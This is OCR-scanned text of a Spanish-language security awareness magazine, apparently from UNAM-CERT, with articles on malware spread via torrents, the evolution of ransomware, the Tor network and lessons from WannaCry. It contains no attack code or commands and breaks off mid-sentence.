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Editorial

Laseguridades
responsabilidad detodos:
Buenas practicas para prevenirincidentes

En el segundo trimestre del 2017 se defecto un
aumento en los ciberataques con respecto al
mismo periodo en el 2016. Segun Pandalabs,
hubo un incremento de 40% en los ataques, o
cual nos situa en “los fres meses mas trepi-
dantfes en seguridad informatica de los ultimos
anos”.

En este contexto, la demanda de profesiona-
les en ciberseguridad aumenta dramaticamente
para enfrentar los retos crecientes. De acuerdo
con la asociacion sin fines de lucro (ISC)?, para
el 2020 se teme que habra un déficit de profe-
sionales en ciberseguridad de 1.5 millones, lo
que implica que muchas organizaciones busca-
ran contratar de manera externa a los profesio-
nales que hagan falta.

Sin embargo, no solo hacen falta mas profe-
sionales en ciberseguridad, sino difundir bue-
nas practicas de seguridad enfre los usuarios
del presente. Segun una encuesta del Institu-
tfo SANS, las amenazas internas son el princi-
pal femor de las organizaciones, dado que las
personas aun requieren de una comprensién de
las amenazas que existen, por ejemplo, en el
manejo de contrasenasy el uso de credenciales
privilegiadas para mejorar la seguridad de los
ambientes en las organizaciones.

A la falta de profesionales y el problema de
las amenazas internas se suma una inquietud
que quedo manifiesta a partir de ataques como
WannaCry y la nueva version de Petya: la falta
de vinculacion entre los equipos de Tl y los en-
cargados de la seguridad, quienes estan aleja-
dos por la carencia de procesos adecuados que
permitan detectar amenazas. Como se puede
apreciar en el articulo “Después de WannaCry”,
90% de los ataques ufilizan vulnerabilidades
comunes que podrian evitarse si se efectuaran
actualizaciones de sistemas a tiempo. Esto po-
dria mostrar que no basta con realizar grandes
inversiones para mitigar los problemas de ci-
berseguridad, sino que hace falta invertir en la
capacitacion del personal para formar un frente
sélido ante las amenazas crecientes.

Por estas razones, creemos que la cibersegu-
ridad adquiri6 mayor relevancia en los equi-
pos de trabajo dedicados a las tecnologias de
la informacion y comunicacion, quienes ahora
deberén enfrentar el reto de compartir con los
usuarios finales la preocupacion por cuidar de
los recursos informaticos.
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Torrents: compartiendo informacion
legitima y tambien amenazas

Camilo Gutiérrez Amaya

Sin lugar a dudas el uso de forrents es una
de las herramientas mas populares para
compartir informacion entre los usuarios,
pero como muchas tecnologias exitosas
y de uso masivo, suele ser aprovechada
por atacantes para propagar campanas
maliciosas.

Los torrents fienen muchos usos legitimos
en varios segmentos e industrias. Los sis-
temas operativos y el software de cddigo
abierto los utilizan para poner a disposicion
Sus nuevas versiones; los gamers los ven
como su centro de actualizacion y entre-
tenimiento, mientras que algunos musicos
incluso lo usan para hacer llegar sumaterial
a sus oyenfes.

Sin embargo, su popularidad enfre usua-
rios los convierte un inferesante vector de
propagacion de amenazas para los ciber-
criminales. Desde comienzos de 2016, la

telemetria de ESET ha detectado casi 15
millones de registros en los que la descarga
de codigo malicioso se relacionada a uno de
los clientes punto a punto (P2P) o servicios
para compartir archivos mas populares.

Entendiendo la tecnologia
de los torrents

Antes de entrar en detalle de la forma en
que los torrents son usados en campa-
nas de propagacion de amenazas, vamos
a explicar brevemente de qué se trata esta
tecnologia. Torrent es un formato de archi-
VO que almacena los datos necesarios para
que una aplicacion comparta el conftenido
a fraves el protocolo BitTorrent, uno de los
mas populares dentro de los sistemas de
intercambio P2P.
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La aplicacion ufilizada se conoce como
cliente torrent. Cuando el usuario tiene
instalada dicha aplicacion, logra que su
dispositivo interprete los datos de los ar-
chivos .torrent, puede conectarse a la red
P2P con otros usuarios, también es capaz
de gestionar la velocidad de transferencia
de archivos, realizar descargas multiples,
asi como comprobar y montar los archivos
y carpetas una vez que la descarga se ha
completado.

Compartiendo amenazas
a traves del infercambio
P2P

Al ser una tecnologia popular para inter-
cambiar archivos e informacion entre re-
des de usuarios, en ocasiones algunos de
los archivos descargados tambien puedan
ser una amenaza, ya que se pueden hacer
pasar por software, juegos, musica o peli-
culas populares, pero pueden terminar
siendo algo completamente distinto (y a
menudo malicioso).

Seeding to 4 of § connected peers -

Downloading from 15 of 41 cannected peers v a
[
seeding to 0 of 0 connected peers

Seeding to 0 of 0 connected peers

Esto fue lo que hizo el Sathurbot (ESET,
2017a), un codigo malicioso que infec-
taba dispositivos a fravés de archivos
que eran descargados por redes P2P,
con lo cual dichos sistemas eran ana-
didos a una botnet, cuya principal ac-
tividad consistia en buscar cuentas de
administrador de sitios en WordPress.
Dentro de las técnicas de propagacion de
esta amenaza, se aprovechaban las cuen-
tas comprometidas de WordPress para
colocar el torrent malicioso en ubicacio-
nes atractivas para usuarios que buscaran
informacion para descargar.

Si el usuario iniciaba la descarga de los ar-
chivos, generalmente asociados con peli-
culas, obfenia un paquete que contenia un
archivo con extension de video, acompa-
nado por un aparente instalador de codecs
y un archivo de texto con explicaciones. En
este caso al ejecutar el archivo, era cargada
la biblioteca de enlace dinamico (DLL) de
Sathurbot.

Pero el caso anterior no ha sido el unico
relacionado con la descarga de amenazas
a fravés de forrents. A principios de este
ano, cibercriminales se aprovecharon de
redes BifTorrent para distribuir campa-
nas de ransomware como la de Patfcher
(M.Leveille , 2017), haciendose pasar por
software legitimo, principalmente Adobe
Premiere Pro y Microsoft Office para Mac.

En este caso la amenaza consistia en un
unico archivo ZIP y si bien el malware no
estaba muy bien desarrollado, ademas de
no contar con ningun codigo para comuni-
carse con un servidor de comando y control
(C&C), la rutina de cifrado utilizada era lo
suficientemente efectiva como para evitar
que las victimas accedieran a sus archivos
afectados. Ademas, no se enviaba la clave
usada para cifrar los archivos a los opera-
dores del malware y tampoco podrian pro-
veer una clave de descifrado a las victimas.

No solamente archivos,
tambiéen clienfes torrent
son comprometidos

Siguiendo con las amenazas relacionadas,
no son solo los archivos de forrents los que
pueden ser utilizados con fines maliciosos,
ya que ocasionalmente se comprometen
los propios clientes de BitTorrent. Por
ejemplo, durante el ano pasado los usuarios
de macOS fueron blanco de este fipo de
amenazas cuando fue comprometida una
version de la aplicacion Transmission, un
cliente de BitTorrent legitimo y muy popular;
posteriormente fue utilizado para propagar
malware.
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El primer ataque se documentd en mar-
zo de 2016 y descargaba el ransomware
KeRanger (Stanick), el cual usaba un algo-
ritmo criptografico practicamente imposible
de romper, y por lo tanto dejaba inaccesi-
ble la informacion de las victimas. A pesar
de larapida reaccion de los desarrolladores
de Transmission, que eliminaron la version
troyanizada del programa apenas unas ho-
ras después de que apareciera en el sitio
oficial, hubo miles de victimas en todo el
mundo.

Otro caso se dio con lavariante del malware
llamado OSX/Keydnap (ESET, 2017b) que
se propagd usando una version alferada
del software Transmission, insertando un
backdoor permanente en los dispositivos
infectados y robando credenciales almace-
nadas en la aplicacion Keychain. Sin duda,
el software utilizado para la transferencia
de archivos, también puede ser compro-
metido, lo que representa otro riesgo de
seguridad asociado a esta tfecnologia.

Enganos que aprovechan
la popularidad de los
torrents

Ademas de las campanas anteriores, he-
mos visto algunas mas que aprovechan la
popularidad del uso de torrents para sacar
ventaja de diferentes situaciones que sue-
len llamar la afencion ufilizando tecnicas
de Ingenieria Social, especificamente para
la descarga de material malicioso a traves
de enganos.

Por ejemplo, antes de que saliera a la venta
la version en Blu Ray de uno de los ultimos
episodios de la saga Star Wars, se anuncio
que se habia filtrado en Infernet una co-
pia de la produccion. Desde ese momento
muchos usuarios se volcaron a descargar,
principalmente por redes P2P, la copia ile-
gal de la pelicula (Gutierrrez, 2017).

Aprovechando lo anterior, se observaron
varias campafnas maliciosas que denfro
de las busquedas que hacian los usuarios
para obfener la pelicula a traves de sitios
de forrents, no los dirigian a este fipo de

confenido, sino a la descarga de ofras
aplicaciones maliciosas, suplantando la
identidad de sitios conocidos para el in-
tercambio a través de redes P2P.

En estos sitios, se instaba al usuario para
la descarga de un falso codec y ejecutar-
lo. Este software Unicamente mostraba una
ventana con términos y condiciones de uso,
pero una vez que el proceso continuaba,
no sucedia nada mas de forma visible en su
maquina. Sin embargo, al analizar las cap-
turas de trafico en la maquina, era posible
verificar que este supuesto codec en reali-
dad estaba enviando informacion del usua-
rio a un servidor.

En realidad, se trataba de una amenaza de
las que denominamos Potencialmente Peli-
grosas (PUA) (ESET, 2017c), ya que si bien
el usuario esta aceptando unas condiciones
y términos de uso antes del proceso, el re-
sultado final no corresponde con lo que es-
pera.

Lecciones aprendidas:
piensa antes de descargar

Lo anterior son solo algunos ejemplos
de distintas campanas de propagacion de
amenazas que se valen de la popularidad
de los forrent para poner en practica dife-
rentes tipos de vectores de propagacion,
buscando llegar a grandes cantidades de
usuarios, para infectarlos con malware
u obfener acceso a sus computadoras y
usarlas con fines maliciosos.

Es importante destacar que el uso de esta
tecnologia no necesariamente puede mos-
trarse como algo peligroso, pero si se em-
plea la descarga de torrents, es importante
conocer que los atacantes lo usan frecuen-
temente como medio para propagar sus
amenazas. Al mismo tiempo, es importante
tomar en cuenta estos posibles escenarios
de riesgo y prestar mucha atencion antes
de descargar.

o .Seguridad UNAMCERT

rencién para TI

Cultura de preve



Sin duda, conocer estas amenazas es el
primer paso para evadirlas, asi como evitar
caer enlos enganos que suelen emplear los
atacantes, que se valen de esta herramien-
ta para intentar afectar a los usuarios. La
aplicacion de buenas practicas, el uso de la
tecnologia de seguridad y la concientiza-
cion nos permitira disfrutar de la tecnologia
en un ambiente cada vez mas seguro.
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Ransomware, quen secuesira
nuestra informacion?

Miguel Angel Mendoza Lépez

En mayo pasado una noticia recorrid el
mundo entero. Por primera vez, una nota
relacionada con la ciberseguridad acaparo
los titulares, debido a un codigo malicio-
so conocido como WannaCry. Se trataba
de otra familia de ransomware. Aunque el
secuestro y la extorsion en el ambito digi-
tal a través del software malicioso no es un
fema nuevo, este malware contaba con la
caracteristica de gusano informatico, es
decir, la facultad de propagarse de forma
automatica a fraves de la explotacion de
vulnerabilidades en el software, algo que
podemos denominar ransomworm.

Los propositos por los cuales se desarro-
llany propagan los codigos maliciosos han
cambiado; desde modificar la funcionali-
dad de los sistemas y dar reconocimiento
a sus creadores, hasta causar danos, co-

rromper la informacion y conseguir algun
ofro tipo de beneficio para sus desarrolla-
dores (principalmente ganancias econo-
micas) en un periodo cada vez menor. En
esta publicacion haremos un recuento de
la evolucion del ransomware, desde sus
primeras versiones hasta casos mas re-
cientesy los pronosticos relacionados con
esta amenaza informatica.

El inicio del secuestro de
informacion

Mucho se ha hablado de las distintas
campanas de propagacion a nivel global.
Aunqgue no se trata de una idea nueva, el
secuestro de la informacion ha fomado
relevancia debido al impacto que ha
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representado para los usuarios y empresas
que se han visto afectadas negativamente.
Los primeros casos de ransomware se
remontan a 1989, cuando aparecio el
troyano PC Cyborg, un programa que
ocultaba los directorios y cifraba los
nombres de los archivos de la unidad
de almacenamiento. Posteriormente
solicitaba al usuario “renovar su licencia”
con un pago en dodlares. Su propagacion
se presento principalmente en Europa vy
Estados Unidos.

En los siguientes anos se identificaron
nuevas versiones de programas que bus-
caban extorsionar a los usuarios, que a
diferencia del cifrado simetrico de PC
Cyborg, utilizaban algoritmos de cifrado
asimétrico con claves cada vez de mayor
tamano. Por ejemplo, en 2005 se conocio
GPCoder y, mas farde, sus variantes, que
luego de cifrar archivos con extensiones
especificas pedia un pago como rescate
de la informacion codificada.

Bloqueo de pantalla,
nuevas variantes del
ransomware

Eventualmente, aparecieron mas codigos
maliciosos que funcionaban bajo el princi-
pio de la inaccesibilidad a la informacion, a
partir de bloquear los sistemas. Estas va-
riantes son las denominadas LockScreen,
que en lugar de modificar los archivos me-
diante el cifrado, se enfocaban en bloquear
el acceso al equipoy lainformacion.

Dentro de esta categoria aparece Win-
lock, programa malicioso que se conocio
en 2010 y que luego de infectar el equipo,
lo bloqueaba desplegando un mensaje en
la pantalla, al tiempo que se demandaba un
pago. Para obtener el codigo de desblo-
queo, el usuario afectado debia enviar un
mensaje SMS con un costo aproximado de
10 ddlares.

Bajo este mismo principio, en 2012 se co-
nocid a Reveton, el denominado “virus de la
policia” que bloqueaba el acceso al sistema
del usuario afectado. El programa malicio-

so permitia mostrar un falso mensaje su-
puestamente del cuerpo policiaco del pais
donde se propagaba la amenaza, que indi-
caba al usuario haber infringido una ley, por
lo que debia pagar una “multa” pararestau-
rar el acceso normal.

Aumento de |la cantidad
y complejidad del

ransomware

En anos recienfes, comenzo a observarse
la proliferacion de los codigos maliciosos
creados de forma especifica para generar
ganancias economicas a sus desarrollado-
res. El crecimiento es tal que diariamente
los Laboratorios de ESET a nivel mundial
reciben alrededor de 200 mil nuevas va-
riantes. El aumento puede idenfificarse en
tres variables: cantidad, complejidad y di-
versidad.

Por ello, han aparecido nuevas oleadas
de programas maliciosos que operan bajo
el principio del cifrado de la informacion,
tambiéen conocido como criptoransomware
o FileCoders, ya que su principal proposito
es codificar los archivos mediante algorit-
mos de cifrado. Para 2013 conocimos la re-
levancia de CryptoLocker, en gran medida
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debido a la cantidad de infecciones gene-
radas en distintos paises. Entre sus princi-
pales caracteristicas se encuentra el cifra-
do a traves de algoritmos de clave publica,
enfocado unicamente de algunos tipos de
exftensiones de archivos y el uso de comu-
nicaciones con el comando y control (C&C)
del atacante a través de la red anonima Tor.

Casi de manera simultdnea, hizo su
aparicion CryptoWall (una variante de
Cryptolocker), que logro superar a su
predecesor en el numero de infecciones,
en cierta medida, debido a los vectores
de ataque empleados: desde exploit
kits en navegadores y ataques drive-by-
download, hasta el mas comun mediante
archivos maliciosos adjuntos en correos
electronicos.

A principios de 2015 se identificaron nue-
vas campanas con la aparicion de CTB-
Locker, mismo que podia ser descargado
al equipo de la victima utfilizando un
TrojanDownloader; el término downloader
se aplica para programas maliciosos cuyo
proposito (generalmente unico) es des-
cargar y ejecutar software malicioso adi-
cional e infectar un sistema. Enfre sus dis-
fintas versiones, una estaba enfocada a
los usuarios hispanohablantes, con men-
sajes escritos completamente en espanol.

Entre sus peculiaridades, el malware tam-
bieén conocido como Citrioni cifraba los
archivos en el disco, unidades extraibles y
unidades de red, utilizando un algoritmo de
curva eliptica no reversible para el cifrado
de la informacion. Para mantener el ano-
nimato del creador, se conecta a través de
Tor y solicita un rescate en bitcoins, una de
las cripfomonedas mas conocidas.

Posteriormente, durante 2016 nuevas fa-
milias de ransomware comenzaron a pro-
pagarse por Latinoamerica, tal es el caso
de Cerber, Locky o TeslaCrypt, con im-
portantes repercusiones en las empresas y
usuarios de la region. Durante 2017, el co-
digo malicioso de mayor renombre sin duda
ha sido WannaCry, tambien conocido como
WannaCryptor que, a diferencia de sus
predecesores, se puede propagar auto-
maticamente a través de la explotacion de
vulnerabilidades en el sistema operativo, lo
que aumenta su potencial de infeccion.

El caso mas reciente fue el brote del
malware Diskcoder.C, también conocido
como ExPetr, PetrWrap, Petya, o NotPetya,
el cual fiene como objetivo sobrescribir los
archivos, sin cobrar el dinero del rescate.
De hecho, no brinda informacion de con-
tacto de los cibercriminales ni puede pro-
veer una clave de descifrado. Por ello, las
nuevas familias de malware son disenadas
para causar dano, corromper la informa-
ciony afectar de forma negativa a objetivos
de interés y con un alcance global.

La diversidad del
ransomware en aumento

En los ultimos anos, hemos visto el desarro-
llo de una mayor cantidad de ransomware,
con mecanismos cada vez mas complejos,
que hacen casi imposible la recuperacion la
informacion, ya que los intenfos por obtener
las claves de descifrado requieren de mu-
cho tiempo y procesamiento, debido que los
algoritmos de cifrado fienen como base la
resolucion de problemas matematicos com-
plejos.

Por ello, la ultima alternativa que tienen
las victimas de ransomware es el pago del
rescate al cibercriminal, sin embargo no
se recomienda por dos razones principa-
les. En primer lugar, al realizar el pago del
rescate no se fiene garantia ni la certeza
de recuperar la informacion, puesto que es
probable que el ciberdelincuente no realice
la entrega de las claves de descifrado y por
otro lado, con el pago se financia una in-
dustria cibercriminal que con mas recursos
puede generar mas amenazas informaticas.

Aunado al crecimiento en la cantidad vy
complejidad del ransomware, su diversi-
dad también ha ido en aumento. Por ejem-
plo, en 2014 conocimos el primer caso de
malware de la familia FileCoder para An-
droid. SimpLocker aparecio en escena; su
funcion consistia en escanear la farjeta de
almacenamiento del dispositivo movil en
busca de archivos con extensiones espe-
cificas. Del mismo modo, aparecieron mas
codigos maliciosos como AndroidlLocker,
que suplantaba soluciones de seguridad y
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aplicaciones legitimas para Android, con
el proposito de ganar la confianza de los
usuarios.

Ademas, ofras plataformas se han con-
vertido en objetivo de los atacantes. Du-
rante 2015 aparecieron los primeros casos
de ransomware disenado especialmente
para sistemas operativos Linux, CTB-Loc-
ker o KillDisk. Durante 2016 aparecio una
muestra de ransomware conocida como
KeRanger, un ransomware especialmente
disenado para OS X, asi como otras fami-
lias enfocadas en macOS, como la familia
de ransomware Patcher durante 2017.

¢Estamos ante una
amenaza que llego para
quedarse”?

Es evidente que la proliferacion del
ransomware va en aumento y es muy pro-
bable que continute creciendo. Los hechos
y los datos nos hacen pensar que estamos
anfe una amenaza que estara presente en
los siguientes anos, entre los principales
motivos, por las ganancias ilicitas que re-
presenta para sus creadores, asi como la
cantidad de dispositivos y usuarios que
podran verse afectados.

Una tendencia de los ultimos meses es
el crecimiento de ransomware que fiene
como foco el denominado Internet de las
cosas (loT). Distintos dispositivos como
relojes o ftelevisores inteligentes son sus-
ceptibles de ser afectados por software
malicioso de esta naturaleza, en lo que se
ha denominado ransomware de las cosas
(RoT). Es probable que en el futuro proxi-
mo seamos testigos de ataques a dispo-
sitivos que se conectan a Internet, incluso
se vislumbran nuevos conceptos, como el
jackware, es decir, el secuestro de auto-
moviles que se conectan a Infernet.

Aunque el escenario parece pesimista, sin
duda existen cuestiones positivas den-
tro del conjunto de descalabros. Podemos
destacar que la seguridad de la informacion
fue el foco de atencion en el orbe, a raiz de
estos ataques, lo que deberia traducirse es
mayores iniciativas de proteccion en dife-

rentes ambitos, feniendo como punfo de
partida la prevencion.

Ante este panorama, la ciberseguridad se
convierfeenuntemacadavezmasrelevan-
te en distinfos ambitos y niveles, que invo-
lucra a la iniciativa privada, los gobiernos,
instituciones academicas, y por supuesto,
a los usuarios. Las buenas practicas, la
tecnologia de proteccion y la educacion
en temas seguridad resultan necesarios
en la actualidad, todo con un objetivo fun-
damental: disfrutar de la tecnologia en un
ambiente cada vez mas seguro.

*Este texto es una actualizacion del articulo
“Laevolucion del ransomware: del ochentero
PC Cyborgaun servicioenventa”, publicado
el 21 de agosto de 2015 en https://www.
welivesecurity.com/la-es/2015/08/21/
evolucion-del-ransomware/
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Lared Torcomo elemento de
privacidad en nuestras vidas

Marco Antonio Ruano Munoz

Con el incremento de servicios en la nube,
el abaratamiento de dispositivos tecno-
l6gicos y la reduccion de su tamano, se
ha elevado de forma abrumadora la faci-
lidad para conectarse a Internet y realizar
tareas cotidianas, permitiendo comunicar-
se con personas al otro lado del planeta en
instantes, realizar operaciones bancarias
sin necesidad de hacer una fila, enviar im-
portantes correos con informacion sensi-
ble o hacer las compras del supermercado
desde el hogar. Sin embargo, cuando una
persona aprende a utilizar una de estas
plataformas no recibe un curso enfocado
a la seguridad y profeccion de su infor-
macion, por tanto, es de suma importancia
considerar aspectos como la privacidad y
el anonimato a la hora de sumergirnos en
lared.

El navegdaro Tor

Tor es una herramienta utilizada en todo
el mundo por caracteristicas que la hacen
particularmente atractiva para aquellas
personas que deseen “enmascarar” su ac-
tividad en linea, asi como acceder a ciertas
areas que no se encuentran indexadas por
la mayoria de los motores de busqueda.

Tipicamente, la red en la que navega
un usuario consiste en una arquitectura
cliente-servidor, la cual permite que el
navegador (es decir el cliente) haga una
peticion a un servidor solicitando cierta
informacion, como puede ser una pagina
web, unaimagen, video, etcetera, y el ser-
vidor devolvera una respuesta por medio
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del protocolo HTTP con el resultado, sien-
do este visualizado en el navegador.

La red Tor (The Onion Routing) funciona
de forma analoga. Sin embargo, la gran
diferencia radica en que esta es una
red distribuida, es decir, esta compuesta
por varios nodos ademas del cliente y el
servidor con el que desea comunicarse.
Estos nodos conformados por voluntarios
que aportan una porcion de su ancho de
banda para permitir el funcionamiento
brindan la posibilidad de navegar por
Internet de forma andénima, ya que cuando
un usuario envia dafos para establecer
una comunicacion, esta informacion es
cifrada con 3 llaves distintas, de modo que
el primer nodo unicamente es capaz de
descifrar una de estas llaves para reenviar
la informacion al segundo nodo, que a su
vez removera una “capa” mas del cifrado y
de nuevo frasladara el contenido al ultimo
nodo (nodo de salida), el cual descifra la
ultima llave y redirige la peticion hacia el
servidor objetivo.

Cada uno de estos nodos cuenta con la
localizacion de los puntos mas cercanos,
es decir, de donde viene la informacion
y a donde se dirige, y este camino que se
recorre se configura de forma aleatoria
constantemente, lo cual dificulta el analisis
de frafico proveniente hacia algun usuario.

Este proyecto de software libre, entre al-
gunas otras funcionalidades desarrolla-
das, cuenta con un navegador listo para
trabajar con esta red, el cual trabaja con el
protocolo HTTPS que asegura la comuni-
cacion de principio a fin. Sin embargo, vale
la pena mencionar que Tor no cuenta con
cifrado de extremo a extremo, por lo que,
sino se usaHTTPS, el nodo de salida es un
punto vulnerable en el cual se puede per-
der el anonimato deseado.

En la figura 1 podemos observar el funcio-
namiento de la red Tor y el uso de HTTPS,
en donde un usuario intenta acceder a un
sitio, ingresando sus credenciales para
autenticarse, y enviando cierta informa-
cion, asi como su localizacion gracias a la
direccion IP. Suponiendo que alguna per-

sona o incluso el proveedor de servicios
de Internet (ISP en el recuadro rojo, que
se encarga de proveer a personas y com-
panias la posibilidad de conectarse a In-
ternet) monitorea el trafico proveniente de
la red del usuario, unicamente podran re-
velar su localizacion. Para hacerlo requie-
ren de ciertos permisos y procesos legales
inferpretados por abogados (icono rosa
en la figura 1) y autoridades (icono azul).
El primer nodo de Tor solo sabe de donde
proviene la informacion, pero no tiene ac-
ceso a esta, ni sabe cuél es el destino; el
segundo nodo no cuenta con informacion
alguna de la peticion, y solo el nodo de sa-
lida conocera el sitio al que se intenta ac-
ceder. Mientras que, del lado del servidor
(interpretado en el recuadro negro), al re-
cibir los datos no fendra conocimiento de
donde proviene la peticion gracias al fun-
cionamiento de la red.

Por otro lado, resulta contraproducente
acceder a sitios que solicitan al usuario in-
gresar cierta informacion para identificar-
se, como su nombre, correo electrénico,
numeros de tarjetas bancarias, efcétera, y
se perdera la dosis de anonimidad busca-
da.

Podemos también observar las figuras en
azul que representan a organizaciones de
seguridad nacional, tipicamente agencias
del gobierno, las cuales monitorean este
tipo de infraestructura de forma periddica,
debido al gran numero de actividades cri-
minales que se llevan a cabo a costa del
anonimato que da la red.

Este esquema realizado por la Electronic
Frontier Foundation, organizacion sin fines
de lucro y cuyo objetivo es defender la li-
bertad de expresion en el mundo digital,
pretende mostrar que Tor por su cuenta no
es perfecto, y solo garantiza anonimidad
cuando se utiliza HTTPS.

A diferencia de otros navegadores que
cuentan con una configuracion predeter-
minada que permite la recoleccion y envio
de cierta informacion sobre el usuario y
su actividad (a menos que sean desacti-
vadas dichas caracteristicas manualmen-
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te cuando es posible), el navegador Tor
promueve su uso advirtiendo sobre ciertos
habitos que se suelen arraigar, los cuales
pueden ser inconvenientes para el objeti-
vo esperado de la red, por ejemplo: com-
partir archivos mediante Torrent, instalar
o activar plugins en el navegador, no usar
el protocolo HTTPS en sitios web, o abrir
documentos descargados por medio de la
red Tor mientras se encuentre en linea, por
mencionar algunos.

Incluso, ya hay disponible una version para
moviles con sistema operativo Android, y
no es para menos, ya que “los dispositivos
moviles se utilizan mas que las computa-
doras tradicionales para busquedas en la
Web” (Gibbs, 2016). Esta herramienta lla-
mada Orbot, permite utilizar un proxy local
inmerso en la red Tor, y fambién brinda la
habilidad de cifrar la informacion saliente
del smartphone o tablet e incluso de ofras

aplicaciones instaladas compatibles.

Por supuesto al pasar la informacion por
una serie de nodos en una red distribuida,
es claro que la velocidad no sera la misma
que al navegar por Internet de forma tra-
dicional, ya que en vez de seguir una ruta
directa el trafico se tiene que desviar hacia
los nodos intermediarios, por lo que no es
recomendable para algunas tareas cuya
eficiencia dependa de la velocidad, como
el streaming.

Otra desventaja es que algunos proveedo-
res de Internet bloquean nodos de la red
Tor, debido a la presion que ejercen los
gobiernos de algunos paises, por ejemplo,
China y Rusia, quienes no estan de acuer-
do con su uso, debido a lacomplejidad que
implica para sus organizaciones de inteli-
gencia al monitorear a usuarios que pue-
den hacer uso de la red para actividades
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delictivas. Este hecho puede dificultar co-
nectarse a ciertos sitios al estar conectado
alared.

Afortunadamente, hay nodos distribuidos
por muchos paises que no cuentan con este
tipo de politicas, ya que su uso no repre-
sentfa ningun fipo de problema, siempre y
cuando no se realicen actividades ilegales.

Conclusiones

Claramente, si una herramienta resulfa
benefica para incrementar el nivel de pri-
vacidad en linea, la combinacion con ofras
mas, como el sistema operativo Tails, ser-
vicios de mensajeria como Tor Messenger,
el uso de redes virtuales privadas (VPN),
entre ofras, puede ofrecer una solucion
que, sumada con un uso correcto, respon-
sabley seguro, significara un buen escudo
para proteger la informacion de cada per-
sona.

Sin embargo, la red Tor no solo consis-
te unicamente en un medio para mantener
las comunicaciones privadas, sino tambien
funge como un acto de colaboracion entre
personas en muchos paises que estan dis-
puestos a ceder una porcion de suancho de
banda para mantener esta red activa y que
todos puedan ser participes de ella.

¢Como se puede colaborar? Una forma de
fortalecer la red es aumentar el numero de
nodos, es decir ser partficipe de la misma,
ya que, a mayor numero de nodos, incre-
mentara la disponibilidad de conexiones
posible y la secuencia de los tres posibles
nodos a seleccionar para una conexion re-
sultaréa mas cambiante, anadiendo com-
plejidad a un posible analisis estadistico
que permita conocer informacion sobre un
usuario.
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La vida despues de WannaCry

Francisco Carlos Martinez Godinez

Es cada vez mas comun ver a organizacio-
nes invertir en dispositivos y herramien-
tas de seguridad, adquirir soluciones para
mantener a la empresa segura, y disenar
campanas informativas y de concienti-
zacion. Lo que ocurrio en mayo de 2017
significo una sacudida mayor para los
programas de seguridad de la informa-
cion en companias de todos los tamanos
alrededor del mundo, y revelo una verdad
irrefutable: las organizaciones no estfan
preparadas.

Se frato de un incidente de seguridad como
no se habia visto antes, al menos en cuanto

a impacto y alcance, y deja varias pregun-
tas en el aire que deberan ser respondidas
en varios niveles dentro de las organiza-
ciones. ¢Como una vulnerabilidad conoci-
da pudo ser aprovechada a estos niveles?
¢Pudo hacerse algo mas? ¢Donde se esta
fallando?Y lo mas importante, ¢ qué leccio-
nes se aprendieron?

El mundo secuestrado

WannaCry es un ransomware que explota
la vulnerabilidad de SMB (MS17-010), la
cual es considerada critica por Microsoft,
y afecta a todas las versiones de los sis-
temas operativos Windows. Este tipo de
malware no es nuevo, de hecho el secues-
tro de equipos se ha vuelto cada vez mas
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frecuente. Sin embargo, la aparicion de
WannaCry representa un evento impor-
tante en el mundo de la seguridad a nivel
global, pues lo que se presencio con este
malware no tiene precedentes principal-
mente por tres factores.

Primero, el alcance. Cinco continentes,
mas de 179 paises y mas de 300,000
equipos infectados (Tovar, Gonzalez,
y Garcia, 2017); 16 hospitales en Reino
Unido, Renault, FedEx, el operador espanol
detelefoniamovil Telefonica, laestacionde
frenes alemana en Frankfurt, el ministerio
inferiory el banco Sberbank rusos, son solo
algunas de las instituciones que fueron
golpeadas por este malware (Times Media,
2017). El ataque, cuyos primeros indicios
fueron detectados en Espana y Reino
Unido, se propagd en minutos alrededor
del mundo.

Segundo, la arquitectura del ataque. Wan-
nacry esta formado por dos componentes
clave: un gusano y un ransomware. El gu-
sano utfiliza un exploit que aprovecha una
vulnerabilidad en SMB y se propaga sin la
necesidad de la inferaccion de usuarios
(Williams, 2017).

Tercero, la utilizacion de una herramien-
ta creada originalmente por una institu-
cion gubernamental. Resulta interesan-
te el hecho de que WannaCry utiliza para
propagarse SMBv1 Eternalblue, un exploit
que, se asume, fue robado a la Agencia de
Seguridad Nacional de los Estados Uni-
dos (NSA, por sus siglas en inglés), y el
cual se hizo publico apenas un mes antes
de la propagacion del ransomware (Wi-
lliams, 2017). Eternalblue implanta una
pieza especifica de shellcode Ilamada
Doublepulsar, la cual tiene la parficulari-
dad de ejecutarse en el espacio de kernel.
Eternalblue forma parte del grupo de he-
rramientas de hacking desarrollado por la
NSAy que fue filtrado por el grupo de hac-
kers Shadow Brokers (Ullrich, 2017). Exis-
ten fuentes que apuntan a la existencia de
este grupo con los servicios de inteligencia
rusos, lo que resulta intferesante y parado-
jico, siendo que instituciones rusas fueron
de las primeras afectadas tras este ataque
(Price, 2016).

Una verdad incOmoda

Existe una preocupacion detras de ataques
como WannaCry, y es el hecho de que se
ha dejado en evidencia una profunda des-
conexion entre el trabajo realizado por los
equipos de Tl, encargados de la operacion,
y los de seguridad, encargados de prevenir
ataques contra la organizacion, asi como
la falta de procesos adecuados en ambas
partes. De acuerdo con Avivah Litan, ana-
lista de Gartner, mas del 90% de los ata-
ques ufilizan vulnerabilidades comunes y
que pueden ser prevenidos manteniendo
los sistemas actualizados, lo que indica
que los procesos, como el de la instalacion
de actualizaciones, estan fallando (Litan,
2017).

En el caso de WannaCry, las areas de se-
guridad de las companias debieron tener
una visibilidad minima de los sistemas
vulnerables y por lo menos sugerir algu-
na accion acorde con el nivel de la ame-
naza. Sin embargo, es indudable que los
encargados de la gestion de actualizacio-
nesy la instalacion de las mismas son las
areas operativas. Falta de seriedad o co-
nocimiento respecto a la amenaza o falta
de mecanismos y recursos para mitigarla
son algunos de los posibles factores que
desembocaron en el resultado ya cono-
cido. La forma de enfrentar un incidente
de seguridad debe estar soportada por
procesos solidos, y es ahi donde se es-
tan encontrando carencias. Se sigue in-
virtiendo todo tipo de recursos en cubrir
necesidades fecnoldgicas olvidando que
el eslabon mas debil de la cadena sigue
siendo las personas. Sin un plan de accion
adecuado dominado por todos los involu-
crados, inevitablemente se volveran a co-
meter los mismos errores.

¢ Existe un plan B?

Si la falta de actualizaciones fue lo que
abrid la puerta a WannaCry, ¢por qué no
simplemente actualizarlo todo? ;Por qué
no deshacerse de una vez por todas de
sistemas con Windows XP y/o mantener
actualizados sistemas operativos y aplica-
ciones en cuanto nuevas actualizaciones
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son liberadas? Suena bien, pero el mundo
real es mucho mas complejo que eso. Mu-
chasveces sistemasy aplicaciones no pue-
den ser actualizados sino hasta después de
meses debido a la propia demanda de la
